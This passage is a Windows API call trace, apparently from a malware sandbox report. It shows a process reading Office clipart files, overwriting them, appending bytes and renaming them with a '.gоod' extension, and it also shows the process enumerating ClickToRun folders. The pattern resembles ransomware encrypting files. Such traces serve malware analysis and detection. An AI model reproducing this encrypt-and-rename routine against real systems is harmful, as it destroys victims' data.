office\\root\\clipart\\pub60cor\\cup.wmf.gоod")) returned 1 [0273.864] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", lpFilePart=0x0) returned 0x43 [0273.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0273.864] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38b5270 | out: lpFileInformation=0x38b5270*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2856)) returned 1 [0273.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0273.864] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", lpFilePart=0x0) returned 0x43 [0273.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0273.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0273.865] GetFileType (hFile=0x8a8) returned 0x1 [0273.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0273.865] GetFileType (hFile=0x8a8) returned 0x1 [0273.865] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0273.865] ReadFile (in: hFile=0x8a8, lpBuffer=0x38b5668, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x38b5668*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0273.866] CloseHandle (hObject=0x8a8) returned 1 [0273.866] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", lpFilePart=0x0) returned 0x43 [0273.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0273.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0273.867] GetFileType (hFile=0x8a8) returned 0x1 [0273.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0273.867] GetFileType (hFile=0x8a8) returned 0x1 [0273.867] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2856 [0273.867] WriteFile (in: hFile=0x8a8, lpBuffer=0x38b68f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x38b68f0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0273.868] CloseHandle (hObject=0x8a8) returned 1 [0273.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", lpFilePart=0x0) returned 0x43 [0273.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0273.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0273.868] GetFileType (hFile=0x8a8) returned 0x1 [0273.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0273.868] GetFileType (hFile=0x8a8) returned 0x1 [0273.868] ReadFile (in: hFile=0x8a8, lpBuffer=0x38b8ba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x38b8ba0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0273.895] CloseHandle (hObject=0x8a8) returned 1 [0273.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", lpFilePart=0x0) returned 0x43 [0273.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0273.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0273.895] GetFileType (hFile=0x8a8) returned 0x1 [0273.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0273.895] GetFileType (hFile=0x8a8) returned 0x1 [0273.895] WriteFile (in: hFile=0x8a8, lpBuffer=0x38b7908*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x38b7908*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0273.895] CloseHandle (hObject=0x8a8) returned 1 [0273.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", lpFilePart=0x0) returned 0x43 [0273.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.gоod", lpFilePart=0x0) returned 0x48 [0273.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0273.895] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9f76b9f8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2866)) returned 1 [0273.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0273.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.gоod")) returned 1 [0273.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF", lpFilePart=0x0) returned 0x44 [0273.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0273.896] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3935fa8 | out: lpFileInformation=0x3935fa8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7992)) returned 1 [0273.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0273.897] GetFullPathNameW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0) Thread: id = 155 os_tid = 0xb6c [0086.393] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0086.553] CoGetContextToken (in: pToken=0x1fbef470 | out: pToken=0x1fbef470) returned 0x0 [0086.553] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1fbef4a8 | out: ppvObject=0x1fbef4a8*=0x12e64e8) returned 0x0 [0086.554] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1fbef518 | out: pThreadType=0x1fbef518*=0) returned 0x0 [0086.554] IUnknown:Release (This=0x12e64e8) returned 0x0 [0086.554] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0086.554] CoUninitialize () [0086.554] RoInitialize () returned 0x1 [0086.554] RoUninitialize () returned 0x0 [0086.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0086.555] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", lpFilePart=0x0) returned 0x58 [0086.555] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0086.557] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.557] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0086.557] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0086.558] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0086.558] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0086.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0086.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0086.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0086.558] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", lpFilePart=0x0) returned 0x58 [0086.558] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0086.558] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.558] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0086.558] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0086.559] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.559] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0086.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0086.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0086.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0086.559] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", lpFilePart=0x0) returned 0x61 [0086.559] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0086.562] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.562] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0086.562] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.562] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0086.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0086.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0086.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0086.563] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", lpFilePart=0x0) returned 0x61 [0086.563] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0086.564] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.564] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0086.564] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0086.564] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0086.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0086.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0086.565] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0086.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed960) returned 1 [0086.565] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x339e4e0 | out: lpFileInformation=0x339e4e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693)) returned 1 [0086.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed920) returned 1 [0086.575] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed340, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0086.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed860) returned 1 [0086.575] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: 